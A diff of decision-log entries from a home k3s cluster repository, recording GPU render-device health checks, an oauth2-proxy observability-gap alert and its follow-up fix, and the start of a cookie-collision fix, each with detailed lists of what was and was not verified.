+    k3s-prod-3  VERDICT  0 FAIL · 2 WARN · 17 PASS · 2 SKIP · 6 INFO
+
+    [PASS] graphics.render_device — DRM render node present for hardware transcoding (/dev/dri/renderD*)
+    [PASS] graphics.drm_driver   — DRM driver bound to the display device (expected i915)
+    [INFO] graphics.media_stack  — Media engines, GuC/HuC firmware and host VAAPI userspace (informational)
+
+(The pre-existing WARNs and SKIPs are other checks — SMART, memattr, resolvers — and are not
+mine; none of them moved.)
+
+The new report section, **byte-identical on all three nodes**:
+
+    --------------------------------------------------------------------------------
+     GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
+    --------------------------------------------------------------------------------
+     pci  0000:00:02.0 00:02.0 VGA compatible controller [0300]: Intel Corporation CoffeeLake-S GT2 [UHD Graphics 630] [8086:3e98] (rev 02)
+                  driver i915
+     drm  card0        driver i915     at 0000:00:02.0  engines bcs0 rcs0 vcs0 vecs0
+     dev  card0        character special  mode 0660  root:video gid 44
+     dev  renderD128   character special  mode 0660  root:render gid 992
+     GuC/HuC     NOT READ — /sys/module/i915/parameters/enable_guc is not
+                  readable without root (i915 module parameters are mode 0400)
+                 no i915/xe parameter on the kernel cmdline
+     modules     amdgpu=false, i915=true, nouveau=false, nvidia=false, radeon=false, xe=false (/proc/modules — corroboration only; the bound-driver symlink above decides)
+     vainfo      NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container
+
+That reproduces every item of the 2026-09-30 hand measurement independently: `renderD128`
+character special, `root:render`, **gid 992**, mode `0660`; `card0` `root:video` gid 44 mode
+`0660`; `i915` bound; `xe` **not** loaded and bound to nothing; `[8086:3e98] (rev 02)`
+CoffeeLake-S GT2 UHD Graphics 630 at `00:02.0`; `vcs0` and `vecs0` live; no host `vainfo`.
+
+**One measured correction to my own phase-1 assumption:** `lspci` **is** present on all three
+prod nodes (`/usr/bin/lspci` — Debian ships `pciutils` by default). I had written that it was
+absent. It is still *treated* as optional, because `pciutils` is genuinely not declared in
+`node_baseline_packages` and depending on an undeclared package would be wrong — but the
+comments and README that asserted it was missing were factually wrong and are now corrected.
+Its presence is why the `pci` line above carries a readable device name rather than bare IDs.
+
+### The gate
+
+    DEV_KUBECONFIG=/dev/null ENGINE=<shim> ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    GATE rc=3
+
+**rc 3 — UNDETERMINED. NOT green.** Nothing failed, and nothing is certified either. Exactly
+three stages did not run, all three the known local ceiling from a worktree, and **no fourth
+skip**:
+
+    [skip] spec-immutability  spec repo not present at /work/../home-network-k3s (set SPEC_REPO)
+    [skip] gitea-settings     SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule
+    [skip] conformance        no cluster configured (CLUSTER_AVAILABLE!=true) — L2/L3 NOT RUN
+
+    [ ok ] decisions-log: pass      [ ok ] lint: pass       [ ok ] l0: pass
+    [ ok ] render-golden: pass      [ ok ] l1: pass         [ ok ] approval-policy: pass
+
+Both CLAUDE.md §3 worktree workarounds were needed and both worked: `DEV_KUBECONFIG=/dev/null`
+(the credential in the main checkout was **not** copied) and an `ENGINE` shim that bind-mounts
+the main checkout's `.git` read-only. No `tracked_files()` traceback appeared, which is how I
+know the shim took effect rather than the git stages silently degrading.
+
+`ansible-lint` was **not** run, because **`ci/` does not invoke it anywhere** — I grepped
+`ci/` and `.gitea/` and the lint stage is `yamllint -c ci/yamllint.yaml` only. I am not
+claiming to have matched a lint convention that does not exist.
+
+### The CI gate on the PR — a green tick that is exit 3, read from the log
+
+The required context `gate / gate (pull_request)` reported **`success`, "Successful in 1m40s"**
+on commit `a78f010`. That description matters: a *skipped* Gitea job reports `success` with
+"Has been skipped", so this one genuinely ran, and 1m40s matches CLAUDE.md §2's ~1m35s.
+
+**But the green tick does NOT mean `gate.sh` returned 0.** `.gitea/workflows/gate.yml:138` is
+`run: ./ci/gate.sh || [ "$?" -eq 3 ]` — the job tolerates rc 3 by design. So I fetched the job
+log (`/actions/runs/173/jobs/0/logs`; the `/api/v1/.../tasks/{id}/logs` endpoints 404 on this
+Gitea, the web route serves it) and read the gate's own headline:
+
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+    [fail]   Stages that did not run: spec-immutability
+
+**So CI is also rc 3, with exactly ONE stage skipped — `spec-immutability`.** The green Gitea
+check is the tolerance swallowing that 3, not a rc 0.
+
+**CI verified two things my local run could not, and both came back green:**
+
+    [ ok ] stage gitea-settings: pass
+    [ ok ]   enable_push = false          enable_status_check = true
+    [ ok ]   required_approvals = 1       block_admin_merge_override = true
+    [ ok ]   block_on_rejected_reviews = true   dismiss_stale_approvals = true
+    [ ok ]   runners online: 1 (>= 1)
+    [ ok ] Gitea settings match the declaration.
+    [ ok ] stage approval-policy: pass
+    [ ok ] no architecturally/security-relevant paths touched — the GATE is the approver.
+
+My local run **skipped** `gitea-settings` (no `SETTINGS_API_TOKEN`) and could not give
+`approval-policy` a PR number. CI has the secret and `REQUIRE_GITEA_SETTINGS: "true"`, so a skip
+there would have failed the job. That is measured confirmation that the live Gitea matches
+`infra/gitea/expected-branch-protection.json`, and that `infra/ansible/**` needs no human
+reviewer. `lint` passed over 405 files. `conformance` SKIPPED in CI too
+(`CLUSTER_AVAILABLE != true`), so L2/L3 remains unverified there as well.
+
+Corroborated independently: `GET /repos/.../branches/main` →
+`protected=true user_can_push=false enable_status_check=true required_approvals=1`,
+contexts `["gate / gate (pull_request)"]`; `GET /admin/actions/runners` → `incluster-dind
+status=online`. And note the commit's **combined** state is `pending`, not success, because
+`gate / conformance (pull_request)` sits at "Blocked by required conditions" — that context is
+not in the required list, so it does not block, but the PR is not "all green" either.
+
+The gate's `lint` stage passed with one `line too long` **warning** on
+`roles/node_health/tasks/assess.yml:189` — that is pre-existing, in the SMART block, well
+above my insertion point, and warnings do not fail the stage.
+
+### Offline work (before the lock was released)
+
+- `python3 -m py_compile` on the collector: clean.
+- `collect_graphics()` executed for real against this workstation's hardware (an unrelated
+  machine, Raptor Lake-S UHD Graphics + an NVIDIA discrete GPU) and returned the whole
+  structure with no exception, correctly reporting two cards, two render nodes, the bound
+  driver per card, the `vcs0/vcs1/vecs0` media engines, and `enable_guc` as *not readable
+  without root* rather than as a fabricated `0`.
+- That last point is a real finding and changed the design: `/sys/module/i915/parameters/*` is
+  **mode 0400**, so an unprivileged pass cannot read `enable_guc`. It now reports
+  `NOT READ — <reason>` and `/proc/cmdline` is read as the world-readable second source. An
+  earlier draft would have silently reported a null.
+- Two other bugs found and fixed by running it rather than reasoning about it:
+  `/dev/dri/by-path` is a **directory** and was being `lstat()`ed as a device; and
+  `/sys/class/drm` carries one entry per *connector* (`card0-HDMI-A-1`), which had to be
+  excluded from the card scan.
+- All three checks and the new template section were rendered through a standalone Jinja
+  harness (Ansible is not on the host — CLAUDE.md §5) against **seven** fact sets: the real
+  workstation; GPU present with the render node removed; no display device at all; `xe` bound
+  in place of `i915`; a display device with **no** driver bound; `renderD128` present but not a
+  character device; and a shape with neither `lspci` nor `vainfo`. Zero template errors, and
+  the statuses came out as designed — `FAIL/PASS/INFO`, `SKIP/SKIP/SKIP`, `PASS/WARN/INFO`,
+  `FAIL/FAIL/INFO`, `FAIL/PASS/INFO` respectively. The harness supplies stand-ins for the
+  Ansible-only filters (`bool`, `dict2items`, `flatten`, `zip`, `regex_replace`) and matches
+  Ansible's `trim_blocks=True`.
+  **Read that for exactly what it is: evidence that the LOGIC is right, and no evidence
+  whatsoever that the HARDWARE DETECTION is.** Six of those seven fact sets were hand-mutated
+  dictionaries, not machines. They are not hardware tests and must not be written up as if
+  they were.
+
+## What I did NOT verify
+
+- **The FAIL path has never fired on a real node.** Every prod node has a working render
+  device, and this role is read-only, so a device cannot be taken away to prove the check
+  catches its absence. The failure branches were exercised against **synthetic fact sets
+  only** (see above). I am not claiming the failure path is tested against hardware.
+- **`xe` detection is likewise untested against reality.** No node here has `xe` bound — the
+  module exists on disk as `xe.ko.xz` and is bound to nothing — so the WARN branch was only
+  ever driven by a mutated fact set. If `xe` ever does bind, the *shape* of
+  `/sys/class/drm/card*` under it is something I have assumed matches i915's (same
+  `device/driver` symlink, same `engine/*` directories). That assumption is unverified.
+- **The media-engine sysfs path is confirmed on these nodes but not proven portable.**
+  `vcs0`/`vecs0` were read from `/sys/class/drm/card0/engine/*` on all three prod nodes, so it
+  is measured here. I did **not** confirm against kernel source that no other kernel version or
+  driver publishes engines elsewhere. If one does, the check reports "none exposed" — an INFO
+  line, not a false verdict, which is why this failure mode is tolerable.
+- **`enable_guc` is still unread on prod.** The report says `NOT READ — mode 0400`, which is
+  honest but means I have **not** confirmed by measurement that GuC/HuC is off on these nodes;
+  I only know the kernel cmdline carries no `i915.enable_guc=` override. The brief's ground
+  truth says `i915.enable_guc=0`; my check does not corroborate that value, it declines to
+  guess it. Reading it would need root, and it is INFO either way, so I left it alone.
+- **Not a transcode test.** These checks prove the render *device* exists, is a character
+  device, and which driver owns it. They do **not** prove a transcode succeeds — that needs a
+  VAAPI round trip inside Plex's own container with Plex's own libva, and is out of scope for a
+  node-level check that installs nothing.
+- **Greenness was never established, locally or in CI.** Both runs returned **rc 3**. My local
+  run skipped three stages (`spec-immutability`, `gitea-settings`, `conformance`); CI skipped
+  one (`spec-immutability`) and its own headline says `MERGE GATE: UNDETERMINED`. **I am not
+  describing this PR as green**, and the green Gitea tick must not be read as one: the workflow
+  line is `./ci/gate.sh || [ "$?" -eq 3 ]`, so it is a tolerated 3.
+- **L2/L3 conformance did not run anywhere** — `CLUSTER_AVAILABLE != true` in both. Whatever
+  runtime requirements this touches remain UNVERIFIED; only the L0/L1 offline subset passed.
+- **`spec-immutability` ran in neither.** The sibling spec repo is checked out in neither my
+  worktree nor the CI workspace, so nothing confirms this change does not drift from the spec.
+  It is the expected, tolerated skip — but it is still a skip, not a pass.
+- **No claim about the live platform beyond what was printed.** Per CLAUDE.md §2b this repo is
+  not evidence about prod; the only prod facts I assert are the ones quoted verbatim above.
+  Branch protection and runner state I did query directly, and the CI `gitea-settings` stage
+  passed — so those two I assert on measurement, not on this file's prose.
+- **The stale dev inventory was left alone deliberately.** `hosts.ini` still defines the
+  `k3s-dev-*` groups as the default target of most playbooks and the dev cluster no longer
+  exists. That is real, it is out of this change's scope, and it is unclaimed work.

decisions/2026-09-30-oauth2-proxy-auth-failure-visible.md

@@ -0,0 +1,289 @@
+---
+date: 2026-09-30
+branch: feat/oauth2-proxy-auth-failure-visible
+title: The Jackett auth failure was invisible because the gates emit nothing — alert on the gap, not on a metric that does not exist
+---
+
+## What changed
+
+Jackett's UI broke in the way that costs the most: **HTTP 200 and a plausible page**. The
+operator's report named the property that matters — *"reloading the page never fixes the issue and
+the user is never re-prompted for login"*. Two sibling branches fix the auth defects. This one is
+about the fact that **no signal existed anywhere**, and it turns out that is not an oversight in
+the alert rules. It is an absence of data.
+
+**The measurement that decided the whole design** (prod, live Prometheus, 2026-09-30):
+
+    count by (__name__) ({__name__=~"oauth2_proxy.*"})
+      oauth2_proxy_requests_in_flight => 2
+
+Two series. Both from the **shared** forward-auth Deployment in the `oauth2-proxy` namespace.
+That is every oauth2-proxy metric this cluster holds. The six per-app gate sidecars — crafty,
+jackett, pihole, qbittorrent, radarr, sonarr — publish **nothing at all**: they run with
+`--http-address=0.0.0.0:4180` and no `--metrics-address`, so oauth2-proxy's metrics listener never
+starts; they declare only a `http:4180` container port; and no ServiceMonitor or PodMonitor in the
+cluster selects them.
+
+So the alert the brief asked for — *"a gated app is serving a sustained rate of auth redirects to
+a user who is authenticated"* — **is not writable**, and writing it anyway would have produced
+exactly the artefact this repo keeps getting burned by: a rule that is present, evaluating,
+permanently silent, and indistinguishable from health. It was not written.
+
+What was written instead alerts on the condition that made the incident invisible, from families
+that **are** scraped:
+
+- **`platform/oauth2-proxy/auth-visibility-alerts.yaml`** — `OAuth2ProxyGateUnobserved`:
+
+      count by (namespace) (kube_pod_container_info{container="oauth2-proxy"})
+        unless
+      count by (namespace) (up{container="oauth2-proxy"})
+
+  `for: 1h`, `severity: warning`. `kube_pod_container_info` is kube-state-metrics (a declared
+  owner in `alert-metrics-have-scrape-targets`) and sees the container whether or not it exports
+  anything; `up` is UNIVERSAL and carries a `container` label for any scrape target, so the rule
+  needs no advance knowledge of what job name a future per-app scrape will use. Nothing in it
+  touches `oauth2_proxy_*`, so it cannot be inert for the reason it is reporting. **It returns six
+  namespaces against live prod right now** and excludes `oauth2-proxy`, which is scraped. It
+  clears per-namespace as each gate gains a real scrape.
+- **`platform/oauth2-proxy/auth-visibility-alerts.promtool-test.yaml`** — four states pinned:
+  fires for an unscraped namespace, never for the scraped one, honours `for: 1h` (pending at 59m),
+  and **stops** once a scrape appears under a *different* job name. Series shapes copied off live
+  prod, not invented.
+- **`runbooks/oauth2-proxy-auth-failures.md`** — how to tell "the gate refused me" from "the group
+  check refused me" from "the app refused me" from "the XHR silently got HTML", with the
+  2026-09-30 jackett trace as the worked example. Registered in `runbooks/kustomization.yaml`'s
+  `configMapGenerator` and listed in `runbooks/README.md`.
+- **`runbooks/README.md`** — a new row in *"Alerts you should not trust the silence of"* for the
+  per-app sidecars, plus the measured reason.
+- **`platform/oauth2-proxy/README.md`** — what this component can and cannot see, and the exact
+  three-part change that would close the gap.
+
+**Why the obvious alternative was rejected.** An alert on the *shared* proxy's
+`oauth2_proxy_requests_total{code="302"}` ratio is the one a reader expects to see here. It would
+need a new `SCRAPE_OWNERS` entry in `conformance/**` (a sensitive path needing human approval),
+and — decisively — **it would not have fired on this incident**: the shared instance is not in the
+data path for any sidecar-gated app, and its current pods export no `oauth2_proxy_requests_total`
+at all, having proxied nothing since they started (the counter exists in the TSDB only from an
+older ReplicaSet, `oauth2-proxy-78449b5657-*`, with `code` labels `302` and `401` and no `202`).
+Shipping it would have looked like coverage of the reported failure and been none.
+
+## What I verified
+
+Everything below was measured against live prod through the pinned container, read-only. No
+`apply`, no `edit`, no `patch`, no `flux reconcile`.
+
+- **The full oauth2-proxy metric inventory.** `count by (__name__) ({__name__=~"oauth2_proxy.*"})`
+  → `oauth2_proxy_requests_in_flight => 2`. `count by (__name__) ({job="oauth2-proxy"})` returns
+  go_*/process_*/promhttp_* plus that one family and nothing else. **Only the shared instance is
+  scraped**: `up{job="oauth2-proxy"}` → 2 targets, `10.0.1.189:44180` and `10.0.2.47:44180`, both
+  `1`, `namespace="oauth2-proxy"`.
+- **The per-app sidecars are unscraped, and unscrapable as configured.** Every pod carrying an
+  `oauth2-proxy` container, with its declared ports: the two shared replicas have
+  `[('http',4180),('metrics',44180)]`; crafty, jackett, pihole, qbittorrent, radarr and sonarr all
+  have `[('http',4180)]` only. The live jackett sidecar's args contain no `--metrics-address`.
+  `kubectl get servicemonitors,podmonitors -A` lists 16 ServiceMonitors and 5 PodMonitors; the
+  only oauth2-proxy entry is `oauth2-proxy/oauth2-proxy`.
+- **No existing alert is inert *for this reason*, because no alert references these metrics at
+  all.** `grep -rn oauth2_proxy --include=*.yaml` over the tree hits only cookie-name strings in
+  `platform/crafty/`. The 39 live PrometheusRules include `platform-health-identity`, whose four
+  rules are about Keycloak readiness and the client reconciler and are all keyed on `kube_*`
+  (scraped, fine). **The inertness here is the absence of a rule, not a broken one** — which is
+  why the runbook README's inert-alerts table gains a row phrased like the etcd one.
+- **Keycloak cannot express it either.** `count by (__name__) ({__name__=~"keycloak_.*"})` →
+  empty, and empty over `[30d]`. The `keycloak-service` scrape yields JVM/Agroal/JGroups metrics
+  only; there are no user-event or login counters, so "a burst of re-logins for one client" is not
+  observable from the IdP side.
+- **`oauth2_proxy_requests_total` has existed historically but not on the current pods.**
+  `count_over_time(oauth2_proxy_requests_total[30d])` returns three series, all from
+  `oauth2-proxy-78449b5657-*` (a prior ReplicaSet): `code="302"` on both replicas and `code="401"`
+  on one, ~634 samples each (~5h of a 30d window). **No `code="202"` ever.**
+- **The alert expression fires against live data.** Run verbatim on prod:
+  `count by (namespace) (kube_pod_container_info{container="oauth2-proxy"}) unless count by
+  (namespace) (up{container="oauth2-proxy"})` → `pihole, jackett, crafty, qbittorrent, sonarr,
+  radarr`, value 1 each; `oauth2-proxy` correctly absent.
+- **The log signal exists and is collected.** Loki (`loki-0`, SingleBinary) and a 3-node Alloy
+  DaemonSet are running, and Alloy labels pod logs with `namespace`/`container`. LogQL over 24h,
+  `{container="oauth2-proxy"}`: crafty 12036 lines, jackett 11669, oauth2-proxy 34559, pihole
+  11520, qbittorrent 11520, radarr 11763, sonarr 11520. Filtered to `|= "No valid authentication
+  in request"`: **crafty 81, jackett 39, radarr 67**; to `|= "AuthSuccess"`: **crafty 1, jackett
+  4, radarr 1**. Those ratios (81:1, 10:1, 67:1) are the incident's signature and are in the
+  runbook as the thing to compare against.
+- **Why `kubectl logs` hid it.** The jackett sidecar's stdout is ~11.5k lines/day and almost all
+  of it is `GET "/ping" ... 200 2` from the kubelet probe, twice every 15s. A `--tail=40` shows
+  forty `/ping` lines and looks perfectly healthy. The runbook's commands all filter.
+- **Runbook registration, both halves.** `- oauth2-proxy-auth-failures=oauth2-proxy-auth-failures.md`
+  is in `runbooks/kustomization.yaml`'s `configMapGenerator.files`, and the page is listed under
+  *Identity* in `runbooks/README.md`. The page clears the L0 quality floor (the four operator
+  sections, >1500 bytes, mentions `dev.sh` and `--context k3s-prod`), and the alert's
+  `runbook_url` points at exactly that name.
+- **Gate:** run in the pinned toolbox from this worktree with the `ENGINE` shim. Exit code and
+  per-stage outcomes in the next section — read them there, not here.
+
+## What I did NOT verify
+
+- **The alert has never fired in Alertmanager.** Nothing is applied; the PrometheusRule exists
+  only in git on this branch. What is proven is that its expression returns the expected vector
+  against live prod data and that promtool agrees about its behaviour over synthetic series.
+  **Merging is what deploys it.**
+- **`OAuth2ProxyGateUnobserved` would NOT have fired *during* the 2026-09-30 jackett incident in
+  any useful sense** — it describes a standing condition that has been true since the sidecars
+  were deployed, so it would have been firing before, during and after. That is deliberate and it
+  is the honest claim: it is a **gap tracker**, not an incident detector. It would have meant that
+  on 2026-09-30 an operator asking "why did nothing alert?" had the answer already on the board
+  instead of discovering it during the investigation. **No alert on this platform could have
+  detected the incident itself, and none can today.**
+- **The alert that the brief actually asked for does not exist, and cannot be written yet.** The
+  sustained-redirect-ratio rule needs `oauth2_proxy_requests_total` from the *per-app* sidecars.
+  **Enabling that requires editing files owned by the two sibling branches** — the sidecar args in
+  `apps/wave-0/jackett.yaml` (Mira Vance) and `apps/wave-0/{qbittorrent,pihole}.yaml`,
+  `apps/wave-1/{radarr,sonarr}.yaml` (Theo Bright) — so it was **not attempted here**. The change
+  is three things per app, together: `--metrics-address=0.0.0.0:44180`, a `metrics` containerPort
+  plus Service port, and a ServiceMonitor. Once any one app has them, the rule belongs beside
+  `OAuth2ProxyGateUnobserved`, and that app's namespace drops out of it automatically.
+- **The Loki alerting path is inert and I did not fix it.** Loki *has* a ruler stanza and the
+  chart's `loki-sc-rules` sidecar is running with `LABEL=loki_rule`, `FOLDER=/rules` — so a
+  ConfigMap-shipped LogQL rule would be delivered. But `GET /loki/api/v1/rules` answers **"unable
+  to read rule dir /var/loki/rules/fake: no such file or directory"** (the ruler reads a different
+  directory from the one the sidecar writes), and the rendered config contains **no
+  `alertmanager_url`** — `grep -i 'alertmanager\|rule_path'` over the `loki` ConfigMap returns
+  nothing. So a LogQL alert on `|= "No valid authentication in request"` — which *would* have
+  caught this incident, and is the single highest-value follow-up here — **would evaluate and
+  notify nobody**. Wiring it means `rulerConfig` (alertmanager_url + a matching rules directory)
+  in `platform/monitoring/loki.yaml`, which is not a file this brief gave me. **I did not ship an
+  inert rule ConfigMap to look productive.**
+- **Nothing was reproduced in a browser.** The 302-to-200-with-HTML mechanism is read off the
+  sidecar access log and the response sizes (`/UI/Dashboard 200 44379`), not observed in devtools.
+- **Loki retention is 72h** (`platform/monitoring/loki.yaml`), so the 24h ratios above are a
+  snapshot; anything older than three days is already gone. This is stated in the runbook because
+  it bounds what an operator can still investigate.
+- **The gate's L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), so no runtime
+  requirement touched by this branch is certified. See the exit code below — **rc 3 is
+  UNDETERMINED, not green.**
+
+### Follow-ups, in order of value
+
+1. **Wire the Loki ruler to Alertmanager** (`platform/monitoring/loki.yaml`). This is the only
+   route to an alert that would have caught the actual 2026-09-30 failure, and the data is
+   already being collected. The rule is one expression:
+   `sum by (namespace) (rate({container="oauth2-proxy"} |= "No valid authentication in request" [15m]))
+   > 5 * sum by (namespace) (rate({container="oauth2-proxy"} |= "AuthSuccess" [15m]))`.
+2. **Give one gate sidecar a metrics endpoint** and watch its namespace drop out of
+   `OAuth2ProxyGateUnobserved`. That is the cheapest proof the alert is a tracker and not a nag,
+   and it unlocks the ratio rule in Prometheus.
+3. **Consider whether `--set-xauthrequest` apps should get `--api-routes`** so API paths answer
+   401 instead of 302. That is the fix that would make this failure *loud* rather than merely
+   observable, and it belongs with whoever owns the sidecar args.
+
+---
+
+# Round 2 — 2026-10-01: the scrape got wired, and found a bug in this branch's own alert
+
+Added to the same PR (#29) rather than a fourth concurrent branch. PR #28 merged in the meantime
+and `main` moved three PRs ahead; `origin/main` is merged in here, and the `runbooks/kustomization.yaml`
+conflict was resolved by **keeping both** runbook entries (mine and `oauth2-proxy-session`).
+
+## What changed
+
+**`platform/oauth2-proxy/podmonitor.yaml` (new).** PR #28 gave the five fleet sidecars
+`--metrics-address=0.0.0.0:44180` and a named `metrics` port. No Service exposes 44180 on any of
+them, so a ServiceMonitor would have nothing to select — a **PodMonitor** targets pod ports directly
+and needs no renderer change. Selects on the pod label `homelab.keithjackson.dev/auth-mode:
+forward-auth`, which is on exactly the five fleet gate pods and absent from crafty's: the property,
+not an app list, so a sixth forward-auth app needs no edit.
+
+**`auth-visibility-alerts.yaml`: `up{container="oauth2-proxy"}` → `up{container="oauth2-proxy"} == 1`.
+This is a real bug fix, and it is the most important thing in this round.** A target that is
+discovered but failing still publishes `up`, with value **0**. The series exists, so
+`count by (namespace)` returned 1, `unless` removed the namespace, and `OAuth2ProxyGateUnobserved`
+would have **gone quiet while nothing was being scraped at all** — this branch's own disease,
+reproduced inside the alert written to cure it. Not hypothetical: the PodMonitor lands five targets
+whose scrape is dropped, so the bare form would have silently cleared on this very commit.
+
+**Two new unit-test scenarios** pinning that: a discovered-but-failing target must still fire, and a
+target that works and then breaks must re-fire rather than latch cleared.
+
+**Docs corrected rather than appended to.** The 2026-09-30 claim "the sidecars export no metrics at
+all" is now only half true and was rewritten in `runbooks/README.md`, `platform/oauth2-proxy/README.md`
+and the alert header, each showing the two-step history, because each step looked like the end of it.
+The runbook gains the policy-vs-no-target triage (step 1b) and the **radarr `/signalr` worked case**.
+
+**Deliberately NOT shipped: the ratio alert.** `oauth2_proxy_requests_total` now exists on the
+endpoint, but not in the TSDB, because the scrape is blocked. Writing the ratio rule today would make
+it inert for precisely the reason it was refused on 2026-09-30. It becomes writable the day a scrape
+succeeds, not the day a listener exists.
+
+## What I verified
+
+- **The endpoint serves — by payload, not by flag.** Port-forwarded to the jackett pod's 44180:
+  `http=200 bytes=10208`, exporting `oauth2_proxy_requests_in_flight`, `oauth2_proxy_requests_total`
+  (`code="200" 3`, `code="302" 2`) and `oauth2_proxy_response_duration_seconds`. `--metrics-address`
+  being in `args` and `/metrics` returning a body are different claims; both now hold.
+- **The scrape path is DROPPED, measured from the right place.** From grafana in ns `monitoring`
+  (beside Prometheus, same policy position) to the jackett pod IP: `:44180` → `wget: download timed
+  out`; `:4180` → **also** timed out; the shared proxy's `:44180` → 200 with `oauth2_proxy_*` present.
+  Cause, read from the objects: ns jackett's `default-deny` is `podSelector: {}`,
+  `policyTypes: [Ingress, Egress]`, with an `egress` rule and **no `ingress` key** (deny-all ingress);
+  the only allowance is CNP `jackett-allow-gateway-ingress`, `fromEntities: [ingress]` to port 4180.
+  The shared proxy is scrapable only because ns `oauth2-proxy` has **no NetworkPolicy at all**.
+- **No Service exposes 44180** on any of the five (enumerated).
+- **The pod label selector is exact:** `auth-mode=forward-auth` on all five fleet gate pods, absent
+  from crafty's. Crafty's sidecar still has no `--metrics-address` (args read in full).
+- **Flux ordering forbids shipping the fix from here:** `oauth2-proxy dependsOn=['platform-config']`
+  and `apps-wave-0 dependsOn=['platform-config']` — siblings, no ordering. A NetworkPolicy naming ns
+  `jackett` from this tier would apply today and fail on a cold rebuild.
+- **The `== 1` guard is non-vacuous — proven by mutation.** Reverting it to the bare `up` makes the
+  two new scenarios FAIL (`got: nil` at 1h5m and 2h5m) and leaves every other assertion passing;
+  restoring it returns the suite to SUCCESS under pinned promtool v3.14.0.
+- **Gate:** see the next section for the exit code and skips.
+
+## What I did NOT verify
+
+- **The PodMonitor has never been applied.** That it discovers the five pods is reasoned from the
+  measured pod labels and port name, not observed — no target list has been read with it in place,
+  because applying it is an operator action. **Expect `up == 0` on all five when it lands**, which is
+  the documented state, not a regression.
+- **I did not fix the NetworkPolicy, and this PR therefore does not make the gates observable.** It
+  makes them *discovered*, and makes the remaining gap loud instead of silent. The one narrow rule
+  per app (ns monitoring → `auth-mode=forward-auth` → TCP 44180, per
+  `platform/longhorn/networkpolicy-metrics.yaml`) has to be rendered with each app's own policy, in
+  the catalog/renderer that is in flight on another branch. **It needs an owner.**
+- **Whether Prometheus will actually select a PodMonitor in ns `oauth2-proxy` targeting other
+  namespaces.** `namespaceSelector.any: true` plus `podMonitorSelectorNilUsesHelmValues: false` and
+  the fact that cross-namespace ServiceMonitors/PrometheusRules already work here say yes; it is not
+  measured with this object.
+- **No session-lifecycle claim can be made from the current window.** `AuthSuccess` is **0** on both
+  jackett and radarr since the PR #28 restart, so nobody has signed in and `--cookie-refresh=2m30s`
+  has never executed a refresh. The cookie fix is unproven in the one dimension that matters most.
+- **The radarr `/signalr` finding is the coordinator's measurement, not mine** — I reproduced neither
+  the 206/209 sample nor the jackett 0-in-13,612. They are recorded as reported.
+- **L2/L3 conformance still did not run** (`CLUSTER_AVAILABLE` unset). Nothing is certified.
+
+### Round 2 addendum — CI is RED, by design, and the local gate cannot see why
+
+After pushing round 2, `gate / gate (pull_request)` reported **failure after 1m42s** while the local
+toolbox run was rc 3 with nothing failed. Measured cause, singular:
+
+    sensitive paths touched:
+      conformance/tests/l0-static/servicemonitor-ports-resolve/check.sh   (matched conformance/**)
+    approving reviews: (no reviews at all)        author=gitea-admin
+
+`ci/approval-policy.sh` is fail-closed and exits 1 when a PR touches a `sensitive_paths` glob with no
+`APPROVED` review from a non-author — "a change to the gate cannot be gated by the gate". The single
+`KNOWN_EXTERNAL_MONITORS` entry is what trips it. **Nothing in L0/L1 failed.**
+
+**The local gate structurally cannot catch this, and said `approval-policy: green (N/A)`.** The stage
+short-circuits to N/A when `GITHUB_EVENT_NAME` is unset, which it always is off-CI. So for any branch
+touching a sensitive path, a clean local gate is a FALSE REASSURANCE — the PR run is the only honest
+signal. That is a general trap, not specific to this change, and it is worth knowing before someone
+concludes a red PR means broken code.
+
+To clear: a non-author approving review, then **re-run the gate** — approval does not re-trigger the
+status check, so the required context stays red until the job runs again. `required_approvals=1`
+already applied to every PR here, so the human was needed regardless; the conformance entry only
+turns the tick red while that is pending.
+
+The alternative is to drop the register entry, which means dropping `podmonitor.yaml` with it (the
+check fails without the declaration). I did not take it: the entry is the "declare the limit"
+mechanism the check explicitly asks for, it is shrink-only so it cannot rot quietly, and
+`flux-podmonitor.yaml` is the same case already in the register. But it is a real trade and the
+reviewer should make it knowingly.

decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md

@@ -0,0 +1,378 @@
+---
+date: 2026-09-30
+branch: fix/oauth2-proxy-cookie-collision-fleet
+title: The cookie collision was never Crafty's — it was the renderer's, and it shipped to five apps
+---
+
+## What changed
+
+Follow-up #3 of `decisions/2026-09-29-crafty-oauth2-proxy-signin.md`: *"Any further per-app
+reverse-proxy sidecar needs a unique `--cookie-name` too. The collision is a property of the
+pattern, not of Crafty."*
+
+It is a property of the pattern, and this branch found where the pattern actually lives.
+
+**Read the scope claim carefully before the detail.** This branch fixes THREE defects in the
+forward-auth sidecar contract, all in one function, all landing on all five apps at once:
+
+| Defect | Fix | Measured evidence |
+|---|---|---|
+| Six independent instances, seven different cookie-secrets, **one** cookie name on **one** zone-wide domain — so they overwrite and `ClearSession`-delete each other's sessions | `--cookie-name=_oauth2_proxy_<app>` + host-scoped `--cookie-domain` | 7/7 distinct secrets; 6 instances on the default name; radarr logs the eviction fingerprint 8× in 12h |
+| The session dies **5 minutes** after sign-in — `--cookie-refresh` defaults to 0 = *disabled*, so the refresh token the proxy already holds is never spent | `--cookie-refresh=2m30s` (half the lifetime) | access-token lifetime = **300.000s exactly**, `refresh_token:true`, flag absent |
+| **No** per-app sidecar serves `/metrics` at all — without `--metrics-address` the listener never starts | `--metrics-address=0.0.0.0:44180` + a `metrics` container port | `ports` was `['http']` on all six |
+
+Rejection *volume* is dominated by the second defect, not the first: ~95% of radarr's rejections
+carry no cookie at all. **Do not merge this expecting one number to drop** — three mechanisms were
+tangled together, and separating them is most of the value here.
+
+**Boundary note.** My brief originally reserved `apps/wave-0/jackett.yaml` for a concurrent branch.
+That split is not achievable and has been revoked: the file is generated, the fix is one renderer
+edit, and `render-golden` requires all five goldens regenerated in the *same commit*. I own all
+five. The proof I ran before touching jackett is under "What I verified".
+
+**The defect was not in the four manifests it was reported in.** `apps/wave-0/pihole.yaml`,
+`apps/wave-0/qbittorrent.yaml`, `apps/wave-1/radarr.yaml`, `apps/wave-1/sonarr.yaml` — and
+`apps/wave-0/jackett.yaml` — are **generated goldens**. One function emits all five sidecars:
+`catalog/render.py::_oauth2_sidecar_container()`, which hardcoded `--cookie-domain=.{ZONE}` and
